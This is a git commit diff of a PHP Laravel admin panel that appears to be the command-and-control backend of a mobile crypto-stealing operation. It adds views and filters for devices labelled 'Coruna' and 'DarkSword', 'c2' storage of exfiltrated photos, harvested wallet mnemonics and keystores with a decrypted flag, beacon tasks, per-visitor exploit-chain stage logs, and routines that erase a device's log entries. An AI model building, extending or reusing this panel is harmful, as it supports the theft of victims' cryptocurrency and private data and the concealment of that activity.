This commit is contained in:
hashbro
2026-08-24 06:23:07 +08:00
parent c00396dc1f
commit db574cc629
114 changed files with 108297 additions and 266 deletions
+136 -9
View File
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\DsChainLog;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\PhotoPreview;
use App\Services\Tokenview\TokenviewMonitorService;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Collection;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
@@ -58,6 +63,7 @@ class DeviceController extends Controller
return [
'id' => $d->id,
'device_id' => $d->device_id,
'family' => $d->family ?: Device::FAMILY_CORUNA,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
@@ -86,7 +92,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = $request->query('tab', 'wallets');
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
$tab = 'wallets';
}
@@ -109,12 +115,15 @@ class DeviceController extends Controller
->values();
}
$device->load(['beaconTasks']);
return view('admin.devices.show', [
'device' => $device,
'tab' => $tab,
'addressSources' => $addressSources,
'addressChains' => $addressChains,
'portal' => $this->portal(),
'beaconTasks' => $device->beaconTasks,
]);
}
@@ -131,6 +140,7 @@ class DeviceController extends Controller
return match ($tab) {
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
@@ -139,16 +149,17 @@ class DeviceController extends Controller
};
}
public function photo(Device $device, int $photo)
public function photo(Device $device, int $photo, PhotoPreview $preview)
{
$this->authorizeDevice($device);
$row = $device->photos()->whereKey($photo)->firstOrFail();
abort_unless(Storage::disk('local')->exists($row->path), 404);
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
$abs = Storage::disk('local')->path($row->path);
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
return response(Storage::disk('local')->get($row->path), 200)
->header('Content-Type', $mime);
return response($out['bytes'], 200)
->header('Content-Type', $out['mime']);
}
public function update(Request $request, Device $device)
@@ -177,6 +188,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$deletedFiles = $this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
@@ -210,9 +222,13 @@ class DeviceController extends Controller
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
$this->unmonitorAddresses($device);
$this->purgeDarkSwordLogs($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
@@ -222,10 +238,93 @@ class DeviceController extends Controller
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->beaconTasks()->delete();
$device->delete();
});
}
private function purgeDarkSwordLogs(Device $device): void
{
$keys = $this->deviceLogKeys($device);
if ($keys === []) {
return;
}
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
PageVisit::query()->whereIn('client_uid', $keys)->delete();
$this->purgeDsFileLogs($keys);
}
/**
* @return list<string>
*/
private function deviceLogKeys(Device $device): array
{
$raw = trim((string) $device->device_id);
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
$keys = [];
foreach ([$raw, strtoupper($raw), $hex] as $key) {
if ($key !== '' && ! in_array($key, $keys, true)) {
$keys[] = $key;
}
}
return $keys;
}
/**
* @param list<string> $keys
*/
private function purgeDsFileLogs(array $keys): void
{
$dir = public_path('log/ds');
if (! is_dir($dir)) {
return;
}
$needles = array_values(array_unique(array_filter(array_map(
static fn (string $key) => strtolower($key),
$keys
), static fn (string $key) => strlen($key) >= 8)));
if ($needles === []) {
return;
}
foreach (glob($dir.'/*.log') ?: [] as $file) {
$raw = @file_get_contents($file);
if (! is_string($raw) || $raw === '') {
continue;
}
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
$kept = [];
$changed = false;
foreach ($parts as $part) {
if (trim($part) === '') {
continue;
}
$hay = strtolower($part);
$hit = false;
foreach ($needles as $needle) {
if (str_contains($hay, $needle)) {
$hit = true;
break;
}
}
if ($hit) {
$changed = true;
continue;
}
$kept[] = $part;
}
if (! $changed) {
continue;
}
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
@file_put_contents($file, $out);
}
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
@@ -380,6 +479,30 @@ class DeviceController extends Controller
return $this->layuiPage($paginator->total(), $data);
}
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return [
'id' => $row->id,
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
];
})->values();
return $this->layuiPage($paginator->total(), $data);
}
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
{
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
@@ -454,7 +577,7 @@ class DeviceController extends Controller
}
/**
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
*/
private function layuiPage(int $count, $data)
{
@@ -467,7 +590,7 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
@@ -479,6 +602,7 @@ class DeviceController extends Controller
return [
'device_key' => trim((string) $request->query('device_key', '')),
'family' => trim((string) $request->query('family', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
@@ -491,7 +615,7 @@ class DeviceController extends Controller
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -501,6 +625,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
$q->where('devices.family', $filters['family']);
}
if ($filters['channel_id'] !== '') {
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
}
@@ -0,0 +1,157 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
class KeystoreController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletKeystore::query()
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.keystores.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
return response()->json([
'code' => 0,
'msg' => '',
'count' => $paginator->total(),
'data' => $data,
]);
}
public function items(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'items' => $keystore->listedItems(),
],
]);
}
/**
* @return array<string, mixed>
*/
public function rowPayload(WalletKeystore $row, string $portal): array
{
return [
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $row->kindLabel(),
'item_count' => $row->itemCount(),
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
];
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->where('wallet_keystores.id', $keystore->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
private function baseQuery(Request $request): Builder
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select([
'wallet_keystores.*',
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
$inner->whereNull('wallet_keystores.source')
->orWhere('wallet_keystores.source', '');
});
} else {
$q->where('wallet_keystores.source', $source);
}
}
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}
@@ -85,7 +85,7 @@ class MnemonicController extends Controller
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
return response()->json([
'code' => 0,
@@ -116,7 +116,7 @@ class MnemonicController extends Controller
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
$discovery->discoverFundedIndexZero($mnemonic);
$discovery->discoverIndexZero($mnemonic);
$addresses = WalletAddress::query()
->where('mnemonic_id', $mnemonic->id)
@@ -4,11 +4,13 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Http\Request;
class PageVisitController extends Controller
{
use PortalAware;
@@ -36,7 +38,7 @@ class PageVisitController extends Controller
->orderByDesc('id')
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
@@ -48,6 +50,8 @@ class PageVisitController extends Controller
'id' => $v->id,
'channel_id' => $v->channel_id,
'client_uid' => $v->client_uid,
'chain' => (int) $v->chain,
'chain_label' => PageVisit::chainLabel((int) $v->chain),
'os' => $v->os ?: '',
'os_version' => $v->os_version ?: '',
'browser' => $v->browser ?: '',
@@ -61,66 +65,35 @@ class PageVisitController extends Controller
]);
}
public function groups(Request $request)
public function logs(Request $request)
{
$group = (string) $request->query('group', 'os');
$base = $this->scopedQuery($request);
$builder = match ($group) {
'os_version' => $base
->select('os', 'os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser'),
'browser_version' => $base
->select('browser', 'browser_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('browser', 'browser_version'),
default => $base
->select('os')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os'),
};
$uid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', (string) $request->query('client_uid', '')) ?? '');
if ($uid === '') {
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
}
$rows = $builder
->orderByDesc('pv')
->limit(50)
->get()
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
};
$visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
if (! $visible->exists()) {
return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
}
return [
'label' => $label !== '' ? $label : 'Unknown',
'pv' => (int) $row->pv,
'uv' => (int) $row->uv,
];
})
->values();
$rows = DsChainLog::query()
->where('client_uid', $uid)
->orderBy('id')
->limit(200)
->get();
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'group' => $group,
'rows' => $rows,
],
'data' => $rows->map(static fn (DsChainLog $row) => [
'id' => $row->id,
'stage' => $row->stage,
'stage_label' => DsChainLog::stageTitle((string) $row->stage),
'progress' => (int) $row->progress,
'label' => $row->label ?: '',
'created_at' => optional($row->created_at)?->toDateTimeString(),
])->values(),
]);
}
@@ -141,6 +114,10 @@ class PageVisitController extends Controller
$q->where('channel_id', 'like', '%'.$channelId.'%');
}
if ($request->query->has('chain') && $request->query('chain') !== '') {
$q->where('chain', (int) $request->query('chain'));
}
$os = trim((string) $request->query('os', ''));
if ($os !== '') {
$q->where('os', $os);